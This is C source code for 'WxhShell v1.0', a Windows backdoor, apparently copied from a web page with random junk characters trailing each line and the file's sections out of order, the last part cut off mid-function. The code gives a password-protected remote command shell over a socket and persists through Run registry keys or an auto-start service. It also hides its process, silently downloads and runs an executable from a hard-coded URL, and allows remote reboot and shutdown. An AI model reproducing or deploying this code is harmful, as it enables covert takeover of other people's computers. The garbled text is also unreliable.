    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iD\joh-C  
    if(Boot(SHUTDOWN)) +EFur dX\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0t9G $23  
    else { Fm@GU  
    closesocket(wsh); LR^b?.#>  
    ExitThread(0); IuTTMAt  
    } T}zi P  
    break; [ -%oO  
    } w#o<qrpHf  
  // 获取shell 0 cQf_o  
  case 's': { UeVF@rw  
    CmdShell(wsh); 6"wY;E  
    closesocket(wsh); 0}ZuF.  
    ExitThread(0); 41:Z8YL(  
    break; 8-m"]o3  
  } eBP N[V  
  // 退出 isaT0__8  
  case 'x': { :ortyCB:H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (cMrEuv  
    CloseIt(wsh); U9@q"v-  
    break; wU=(_S,c  
    } J3$ihH.  
  // 离开 Ji7A9Hk  
  case 'q': { ;[|x5o /<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gcz1*3)  
    closesocket(wsh); j;'NJ~NZ$  
    WSACleanup(); ~r{Nc j  
    exit(1); gh~C.>W}q+  
    break; lr|-_snx2  
        } F'"-4YV>&  
  } bkY7]'.bz&  
  } z*R"917  
Lrk^<:8;  
  // 提示信息 Xc@4(Nyp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jHFdDw|N`  
} )Ev [o#y  
  } FY VcL*  
B (BWdrG  
  return; VA]%i P,O-  
} xX&*&RPZ  
ZJx:?*0a  
// shell模块句柄 Q8P;AN_JS  
int CmdShell(SOCKET sock) !?KY;3L:  
{ x|Q6[Y  
STARTUPINFO si; Y!SD^Ie7!  
ZeroMemory(&si,sizeof(si)); Pukq{/27  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =]D##R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I*0 W\Qz@  
PROCESS_INFORMATION ProcessInfo; %Jw;c`JM  
char cmdline[]="cmd"; ;DRJL   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <=0_[M  
  return 0; ?1[go+56X  
} Wy|=F~N  
rm2TWM|  
// 自身启动模式 KLoHjBq  
int StartFromService(void) BtjsN22  
{ *:_.cbo  
typedef struct 8*|@A6ig  
{ 2Ay2 G-  
  DWORD ExitStatus; q k !Q2W  
  DWORD PebBaseAddress; O ~"^\]\  
  DWORD AffinityMask; #$A6s~`B  
  DWORD BasePriority; wi&m(f(~  
  ULONG UniqueProcessId; }g`A*y;t  
  ULONG InheritedFromUniqueProcessId; JiRW|+`pe  
}   PROCESS_BASIC_INFORMATION; s(zG.7*3n  
(g   
PROCNTQSIP NtQueryInformationProcess; h'N,oDB)  
uD+;5S]us  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V57^0^Zp`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MRiETd"  
ysSEgC3  
  HANDLE             hProcess; ;KnnAZJ  
  PROCESS_BASIC_INFORMATION pbi; <8H`y(S  
[jafPi(#g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c|I{U[(U  
  if(NULL == hInst ) return 0; xOS4J+'s@  
LEk W^Mv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^*Ca+22xO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ar>-xCT D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jtd{=[STU  
'a4xi0**I  
  if (!NtQueryInformationProcess) return 0; m+1MoeR  
G66vzwO   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bZ0r/f,n$  
  if(!hProcess) return 0; /*st,P$"  
TG'A'wXxy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vZ|m3;X  
03# r F@e  
  CloseHandle(hProcess); 1z*]MYU  
G`w7dn;&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R_(A&,  
if(hProcess==NULL) return 0; Ff.gRx  
]2tX'=X  
HMODULE hMod; {GZHD^Ce  
char procName[255];  M)Y`u  
unsigned long cbNeeded; rjfQ\W;}U  
xUj[d(q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); taI])  
rW!P~yk  
  CloseHandle(hProcess); `y m^0x8  
IaN|S|n~  
if(strstr(procName,"services")) return 1; // 以服务启动 Av7bp[OD  
H<"{wUPT0  
  return 0; // 注册表启动 O+c@B}[!  
} k4s >sd3 5  
x1wm]|BIf  
// 主模块 F@&q4whaVD  
int StartWxhshell(LPSTR lpCmdLine) |f.=Y~aY  
{ &yWl8O  
  SOCKET wsl; Fj -mo>"  
BOOL val=TRUE; v?5Xx{ym  
  int port=0; 8la.N*  
  struct sockaddr_in door; )}vQ?n[:'  
Cd]d[{NJ;  
  if(wscfg.ws_autoins) Install(); Lab{?!E>U  
sl>4O]N  
port=atoi(lpCmdLine); ,.G6c=pZ  
Nmns3D  
if(port<=0) port=wscfg.ws_port; Pa%XLn'5  
QV7K~qi  
  WSADATA data; hP,SvN#!2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t k2B\}6  
1KAA(W;nq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hPP+lqY[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WSKG8JT^|  
  door.sin_family = AF_INET; 0X~Dxs   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s>E4.0[I%  
  door.sin_port = htons(port); 2j*\n|"}{  
-9\O$I-3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !nC Z,  
closesocket(wsl); Y?R;Y:u3Z  
return 1; `%"zq"1`0  
} 9c46|  
')}$v+9h  
  if(listen(wsl,2) == INVALID_SOCKET) { .9S  
closesocket(wsl); Xo;J1H  
return 1; rmk'{"  
} -;_NdL@  
  Wxhshell(wsl); P2!@^%o  
  WSACleanup(); &7XB $  
3q{H=6  
return 0; !nU  
2P"@=bYT"  
} 7a-> "W  
DbH{; Fb  
// 以NT服务方式启动 3T|:1Nw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +g@@|&B  
{ dPPe_% Ilr  
DWORD   status = 0;  QSmE:Y  
  DWORD   specificError = 0xfffffff; RT F9;]Ti  
Hvnak{5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sO~N2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \Llrs-0 M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oy;N3  
  serviceStatus.dwWin32ExitCode     = 0; -~p@o1k0  
  serviceStatus.dwServiceSpecificExitCode = 0; AFc#2wn  
  serviceStatus.dwCheckPoint       = 0; _+T;4U' p  
  serviceStatus.dwWaitHint       = 0; q;}^Jpb;  
axxd W)+K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \4bma<~a  
  if (hServiceStatusHandle==0) return; N`Zm[Sv7  
6jO*rseC  
status = GetLastError(); lva]jh2  
  if (status!=NO_ERROR) {Ejv8UdA9  
{ K/, B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `Btdp:j8i  
    serviceStatus.dwCheckPoint       = 0; ;#G>qo  
    serviceStatus.dwWaitHint       = 0; Qo0okir  
    serviceStatus.dwWin32ExitCode     = status; ? Ls]k  
    serviceStatus.dwServiceSpecificExitCode = specificError; /#G^?2o M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OV;Ho  
    return; k&n7 _[]n  
  } q}M^i7IE  
aL-V9y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ad&Mk^p  
  serviceStatus.dwCheckPoint       = 0; Z5bmqhDo[  
  serviceStatus.dwWaitHint       = 0;  /d0LD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ahhVl=9/ao  
} ygd'Nh!@  
+0^N#0)  
// 处理NT服务事件,比如:启动、停止 Yc"G="XP;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) __-rP  
{ F'C]OMBE  
switch(fdwControl) +G7A.d`V}  
{ j &)|nK;}  
case SERVICE_CONTROL_STOP: |2 g }i\  
  serviceStatus.dwWin32ExitCode = 0; Z@t).$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }u5 Mexs  
  serviceStatus.dwCheckPoint   = 0; z,P:i$  
  serviceStatus.dwWaitHint     = 0; ZBJ.dK?Ky|  
  { j0kEi+!TVq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P=KOw;bs  
  } L_<&oq  
  return; }zlvs a+  
case SERVICE_CONTROL_PAUSE: 3 ^{U:"N0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4<ER dP7"-  
  break; RD=!No?  
case SERVICE_CONTROL_CONTINUE: 8:huWjh]M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :c!7rh7O  
  break; kD >|e<}\  
case SERVICE_CONTROL_INTERROGATE: SdnqM`uFo  
  break; aS'G&(_  
}; DJr 8<u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "P&|e|7  
} #Ru+|KL  
%Kw5 b ;  
// 标准应用程序主函数 ?N,a {#w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2a (w7/W:  
{ mu=u!by.E  
o-("S|A-  
// 获取操作系统版本 Lyt6DvAp"  
OsIsNt=GetOsVer(); XFG]%y=/6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \%mR*J+  
8W[QV  
  // 从命令行安装 :1hp_XfJb  
  if(strpbrk(lpCmdLine,"iI")) Install(); -x:Wp*,  
f2uog$H k  
  // 下载执行文件 v9x $`  
if(wscfg.ws_downexe) { n"@3d.21  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4w*F!E2H\}  
  WinExec(wscfg.ws_filenam,SW_HIDE); /+JCi6{sHS  
} nD MNaMYb  
JBeC\ \QX  
if(!OsIsNt) { f$*M;|c1c/  
// 如果时win9x,隐藏进程并且设置为注册表启动 v$+G_@  
HideProc(); lU:z>gC  
StartWxhshell(lpCmdLine); uQ5NN*C=  
} TN7kt]a2  
else O<L /m[]  
  if(StartFromService()) [<1i[\^  
  // 以服务方式启动 '+f!(teLz  
  StartServiceCtrlDispatcher(DispatchTable); 'gI58#v  
else j ;VYF  
  // 普通方式启动 QkGr{  
  StartWxhshell(lpCmdLine); G?<L{J2"Q  
3|/ ;`KfQ  
return 0; jdXkU  
} /n@_Ihx  
e}(. u1  
cK@O)Ko}  
:2 QA#  
=========================================== Y^2Ma878  
AH`tkPd  
I"Ju3o?u  
UF,T  
dbB2/RI  
hy W4=  
" 4JU#3  
RNl%n}   
#include <stdio.h> 43,- t_jV  
#include <string.h> K*7*`6iU  
#include <windows.h> 5\:#-IYJ  
#include <winsock2.h> ,(OA5%A9zK  
#include <winsvc.h> nFw&vR/q  
#include <urlmon.h> 03$Ay_2  
G U0zlG] C  
#pragma comment (lib, "Ws2_32.lib") 3|P P+<o  
#pragma comment (lib, "urlmon.lib") rH8?GR0<  
_q3SR[k+`  
#define MAX_USER   100 // 最大客户端连接数 )Qw|)='-  
#define BUF_SOCK   200 // sock buffer djZOx;/  
#define KEY_BUFF   255 // 输入 buffer I".d>]16|  
0t/S_Q  
#define REBOOT     0   // 重启 0:v7X)St  
#define SHUTDOWN   1   // 关机 C UlANd"  
T/-PSfbkj  
#define DEF_PORT   5000 // 监听端口 o"7,CQye  
w?oIKj  
#define REG_LEN     16   // 注册表键长度 IW6;ZDP  
#define SVC_LEN     80   // NT服务名长度 B 8C3LP}?  
lJ}G"RTm  
// 从dll定义API 2>ce(4Gky  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /5U?4l(6[f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /3FC@?l w4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5IVASqYp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r[EN`AxDb  
<0JW[m  
// wxhshell配置信息 _.?$~;7  
struct WSCFG { kIU"-;5tP  
  int ws_port;         // 监听端口 <:q]t6]$  
  char ws_passstr[REG_LEN]; // 口令 JOenVepQ,  
  int ws_autoins;       // 安装标记, 1=yes 0=no J5@_OIc1y  
  char ws_regname[REG_LEN]; // 注册表键名 \DeZY97p%  
  char ws_svcname[REG_LEN]; // 服务名 tnRq?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z|'tw^0e5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e0v&wSi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tg{d#U_qB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 90K&s#+13  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wy:.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EBK\.[  
R0oP##]  
}; @>X."QbE  
&EA4`p  
// default Wxhshell configuration k3S**&i!CR  
struct WSCFG wscfg={DEF_PORT, pg4M$;ED  
    "xuhuanlingzhe", FjkE^o>  
    1, >"zSW?  
    "Wxhshell", s49 AF  
    "Wxhshell", w y:USS?  
            "WxhShell Service", pBK[j ([  
    "Wrsky Windows CmdShell Service", f{* G%  
    "Please Input Your Password: ", mR8&9]g&  
  1, # ?}WQP!  
  "http://www.wrsky.com/wxhshell.exe", 3o"~_l$z  
  "Wxhshell.exe" R%7k<1d'`  
    }; -qid.  
'hU&$lgMF  
// 消息定义模块 Nm#KHA='Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bk?MF6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -PEpy3dMY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9)l[$X  
char *msg_ws_ext="\n\rExit."; >qcir~ &  
char *msg_ws_end="\n\rQuit."; iCc@N|~  
char *msg_ws_boot="\n\rReboot..."; PS(LD4mD  
char *msg_ws_poff="\n\rShutdown..."; xU67ztS'E'  
char *msg_ws_down="\n\rSave to "; |JuXOcr4  
hb`b Q  
char *msg_ws_err="\n\rErr!"; A6TNtXk  
char *msg_ws_ok="\n\rOK!"; Bz /NFNi[p  
BE%#4c.b  
char ExeFile[MAX_PATH]; HbZ3QWP  
int nUser = 0; - bFz  
HANDLE handles[MAX_USER]; G>*s+  
int OsIsNt; ywi Shvi8  
RX7,z.9@'O  
SERVICE_STATUS       serviceStatus; ug UV`5w   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TyGXDU  
D{a{$P r  
// 函数声明 :tzCuK?e  
int Install(void); )WKe,:C  
int Uninstall(void); If]g6 B.=  
int DownloadFile(char *sURL, SOCKET wsh); |}'}TYX0:  
int Boot(int flag); {,P&05iSi  
void HideProc(void); Z^h'&c#  
int GetOsVer(void); '3%!Gi!g  
int Wxhshell(SOCKET wsl); P`V#Wj4\  
void TalkWithClient(void *cs); #_|b;cf  
int CmdShell(SOCKET sock); zx;x@";p  
int StartFromService(void); d:<{!}BR3  
int StartWxhshell(LPSTR lpCmdLine); ~w4aA<2Uq  
9at7$Nq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); . +.Y`0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N:"E%:wSbi  
Yx XDRb\kW  
// 数据结构和表定义 78}iNGf  
SERVICE_TABLE_ENTRY DispatchTable[] = 7<-D_$SrU  
{ 3smcCQA%  
{wscfg.ws_svcname, NTServiceMain}, Z#"6&kv  
{NULL, NULL} .`xcR]PQ  
}; >q[Elz=dI  
X$PT-~!a  
// 自我安装 u8-)LOf(  
int Install(void) <t]i' D(K  
{ 7&m*: J  
  char svExeFile[MAX_PATH]; >UR-37g{p  
  HKEY key; }b6ja y  
  strcpy(svExeFile,ExeFile); b>I -4  
$~zqt%}  
// 如果是win9x系统,修改注册表设为自启动 %"+FN2nbm  
if(!OsIsNt) {  LDwu?"P!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I?l*GO+pz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >$HMZbsE  
  RegCloseKey(key); 0+cRUH9Ew  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]O&TU X@)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qX-Jpi P  
  RegCloseKey(key); 4/Ok/I  
  return 0; %# J8cB  
    } RQ}x7< /{  
  } ;) (qRZd6  
} Qzb8*;4?FF  
else { &$vDC M4  
DRf~l9f  
// 如果是NT以上系统,安装为系统服务 B3XVhUP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %Ljc#AVg  
if (schSCManager!=0) CF =#?+x  
{ *!l q1h  
  SC_HANDLE schService = CreateService r`28fC  
  ( a] >|2JN<&  
  schSCManager, /c__{?go  
  wscfg.ws_svcname, 1cOp"!  
  wscfg.ws_svcdisp, a,lH6lDk  
  SERVICE_ALL_ACCESS, * C's7O{O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LFV;Y.-(h  
  SERVICE_AUTO_START, w#XE!8`  
  SERVICE_ERROR_NORMAL, H\^5>ccU>V  
  svExeFile, C=%go1! $  
  NULL, 8m-jU 5u  
  NULL, ruF+X)  
  NULL, od?Q&'A  
  NULL, AvP*p{we  
  NULL $T]1<3\G  
  ); I2K52A+  
  if (schService!=0) HmRwh  
  { ckN/_ u3  
  CloseServiceHandle(schService); LF*3Iw|v  
  CloseServiceHandle(schSCManager); BniFEW:<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <m UDx n  
  strcat(svExeFile,wscfg.ws_svcname); ,iiWVA"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +S0A`rL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x1mxM#ql  
  RegCloseKey(key); C2ToT\^  
  return 0; >D<nfG<s Z  
    }  fB;'U  
  } 5 MQRb?[  
  CloseServiceHandle(schSCManager); JL;H:`x  
} 3=sA]j-+(  
}  6~$ <  
I%{^i d@  
return 1; l_^>spF  
} Z0`?  
S,Zjol%p  
// 自我卸载 {vA;#6B|  
int Uninstall(void) *M- .Vor?R  
{ ] p+t>'s  
  HKEY key; W+Gu\=s%O  
G9Azd^3  
if(!OsIsNt) { 8*6J\FE<p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $`_(%tl  
  RegDeleteValue(key,wscfg.ws_regname); PX2Ejrwj  
  RegCloseKey(key); 7b@EvW6X}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !i}G>*XH,  
  RegDeleteValue(key,wscfg.ws_regname); t6-c{ZX>A  
  RegCloseKey(key); q2gc.]K \  
  return 0; ~3f#cEP>d}  
  } #8nF8J< 4  
} 9OT2yC T  
} &\C vrxa  
else { EB@!?=0x  
a-i#?hld  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4B (*{  
if (schSCManager!=0) K%Q^2"Eb0  
{ Mt@K01MI%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &sx/qS#,VL  
  if (schService!=0) { H9pF2C  
  { 0Xk;X1Xl  
  if(DeleteService(schService)!=0) { w[4SuD  
  CloseServiceHandle(schService); Dtd bQF  
  CloseServiceHandle(schSCManager); p c-'+7Dh>  
  return 0; <|Z0|sel  
  } \ov>?5  
  CloseServiceHandle(schService); _eO+O=j_x  
  } ;J?^M!l2=  
  CloseServiceHandle(schSCManager); Zd~s5  
} l\$_t2U  
} \Xxx5:qM  
<w{W1*R9  
return 1; '[\%P2c)Q  
} %q ja:'k  
H,3$TNX y  
// 从指定url下载文件 DgOoEHy[  
int DownloadFile(char *sURL, SOCKET wsh) ~Ycz(h'(  
{ e$F7wto  
  HRESULT hr; ]V.9jlXF  
char seps[]= "/"; m{+lG*  
char *token; ax7 M  
char *file; Z.<1,EKi=  
char myURL[MAX_PATH]; z^B!-FcIz>  
char myFILE[MAX_PATH]; +H ="5uO<  
V!FzVl=G  
strcpy(myURL,sURL); O@E&lP6  
  token=strtok(myURL,seps); i1aS2gFi_  
  while(token!=NULL) }zLe;1Tx  
  { hih`:y  
    file=token; GIZNHG   
  token=strtok(NULL,seps); /hI#6k8o_  
  } P?]q*KViM  
:I<%.|8  
GetCurrentDirectory(MAX_PATH,myFILE); 8eOQRC33  
strcat(myFILE, "\\"); *bv Iqa  
strcat(myFILE, file); L/<Up   
  send(wsh,myFILE,strlen(myFILE),0); m^]/ /j  
send(wsh,"...",3,0); {-17;M $  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a-%^!pN\M  
  if(hr==S_OK) cJE2z2uW0  
return 0; `5GJ,*{z  
else YT&_{nL#\  
return 1; $V5Ol6@ 2  
kN>d5q9b%X  
} 7Jc=`Zm'  
g3x192f  
// 系统电源模块 RJtSHiM2  
int Boot(int flag) DC/CUKE.d  
{ \DGm[/P  
  HANDLE hToken; vv%Di.V  
  TOKEN_PRIVILEGES tkp; deu+ i  
=4Ex' %%(U  
  if(OsIsNt) { \19XDqf8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nMVThN*I g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DB>>U>H-  
    tkp.PrivilegeCount = 1; n,Ux>L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t.knYO)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [$H8?J   
if(flag==REBOOT) { sV[|op  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1N#TL"lMS  
  return 0; d5zzQ]|L  
} w_|WberU  
else { q{ctHsQ(9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7 ic]q,  
  return 0; 4 &t6  
} K90Zf  
  } ]7xAL7x  
  else { wz6e^ g  
if(flag==REBOOT) { [N7[%iQ%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AvV.faa  
  return 0; p=405~  
} 1U"Y'y2  
else { !' sDqBZ&7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -@J;FjrXmP  
  return 0; c[",WB<9  
} cUy6/x9&  
} yUH8  
KrbNo$0%  
return 1; y?5*K  
} }3?M0:  
=M(\R8  
// win9x进程隐藏模块 0!(Ii@m=N  
void HideProc(void) =20Q! wcu  
{ Rbr vY  
i [j`'.fj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b#XS.e/uf  
  if ( hKernel != NULL ) pr;L~$JW  
  { YHKm{A ]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z*9/"M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^k-H$]  
    FreeLibrary(hKernel); yyA/x,  
  } 5h20\b?=$  
/n"A%6S  
return; .vT'hu  
} ?94da4p  
9Z+@i:_}  
// 获取操作系统版本 m9PcDhv  
int GetOsVer(void) "[#jq5> :  
{ F48`1+  
  OSVERSIONINFO winfo; h_CeGl!M}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PDpIU.=!0  
  GetVersionEx(&winfo); Uf\*u$78  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0p[$8SCJ  
  return 1; JL(*peeu3  
  else txL5' mK  
  return 0; YJ75dXc&&  
} ueWG/`ig  
%[p[F~Z^Z  
// 客户端句柄模块 c6lEWC:  
int Wxhshell(SOCKET wsl) &.4lhfI+(Q  
{ (bT\HW%m  
  SOCKET wsh; L>@6lhD)x  
  struct sockaddr_in client; 3\'.1p  
  DWORD myID; h hd n9n  
|Ec$%  
  while(nUser<MAX_USER) !HB,{+25  
{ D#k>.)g  
  int nSize=sizeof(client); Ws1<Jt3/."  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jk1U p2#B  
  if(wsh==INVALID_SOCKET) return 1; 2nEj X\BY  
FlkAo]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |r /}r,t}  
if(handles[nUser]==0) dmF<J>[  
  closesocket(wsh); c/x(v=LW  
else $[|8bE  
  nUser++; "0/OpT7h7  
  } n1cAI|ZE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y'zEaL&SI@  
atN`w=6A`  
  return 0; Nq9(O#}  
} G! 87F/  
I O6i  
// 关闭 socket s*!2oj  
void CloseIt(SOCKET wsh) jf$t  
{ ".@SQgyb0  
closesocket(wsh); e3Lf'+G\  
nUser--; tHu8|JrH+  
ExitThread(0); &[s^`e  
} >?tcL *  
+"p" ,Z  
// 客户端请求句柄 ]XP[tLY Y  
void TalkWithClient(void *cs) L4[ bm[x  
{ {{ wVM:1  
`9wz:s QtP  
  SOCKET wsh=(SOCKET)cs; MWB uMF  
  char pwd[SVC_LEN]; qi)(\  
  char cmd[KEY_BUFF]; c?opVbJB\  
char chr[1]; d[o =  
int i,j; >T(f  
IC{>q3  
  while (nUser < MAX_USER) { I|`K;a  
{Qhv HV  
if(wscfg.ws_passstr) { rzO:9# d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gpgi@ Uf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .z{7 rH  
  //ZeroMemory(pwd,KEY_BUFF); O&O1O> [p1  
      i=0; h]D=v B  
  while(i<SVC_LEN) { OOv"h\,  
\]r{73C  
  // 设置超时 -J[D:P.Z  
  fd_set FdRead; a.Mp1W  
  struct timeval TimeOut; ;pULJ}rDb  
  FD_ZERO(&FdRead); O}KT>84M  
  FD_SET(wsh,&FdRead); "`3H0il;<  
  TimeOut.tv_sec=8; W"2\vo)  
  TimeOut.tv_usec=0; p(U'Ydl~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n&Al~-Q:^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZRX>SyM  
opIcSm&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0CDTj,eK  
  pwd=chr[0]; t>25IJG  
  if(chr[0]==0xd || chr[0]==0xa) { $OUa3!U_!  
  pwd=0; <&x_e-;b'  
  break; OsK=% aDpj  
  } NuP@eeF>,  
  i++; y'+^ ME$H  
    } jf%Ydr}`  
k5ZwGJ#r  
  // 如果是非法用户,关闭 socket =W4cWG?+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !~mN"+u&  
} F`ihw[ Wn  
dyx 4_!fO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q \{\u J x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =T\pq8  
^|x{E20  
while(1) { bqe;) A7  
lLg23k{'  
  ZeroMemory(cmd,KEY_BUFF); yV]-![`D  
2.NzB7c*CM  
      // 自动支持客户端 telnet标准   r@!~l1$s`  
  j=0; a v`eA`)S  
  while(j<KEY_BUFF) { BShZ)t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U ^,ld`  
  cmd[j]=chr[0]; PD$'xY|1=  
  if(chr[0]==0xa || chr[0]==0xd) { `QkzWy~V3  
  cmd[j]=0; J*;t{M5  
  break; v |i(peA#  
  } PNKmI  
  j++; 5q) Eed  
    } tb=(L  
<<`."RY#0  
  // 下载文件 RSnK`N\9jb  
  if(strstr(cmd,"http://")) { /stED{j,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `Y[zF1$kz^  
  if(DownloadFile(cmd,wsh)) M9N|Ql  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _{ba  
  else o?X\,}-s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gr S,PKH  
  } gr2zt&Z4  
  else { QHQj6]  
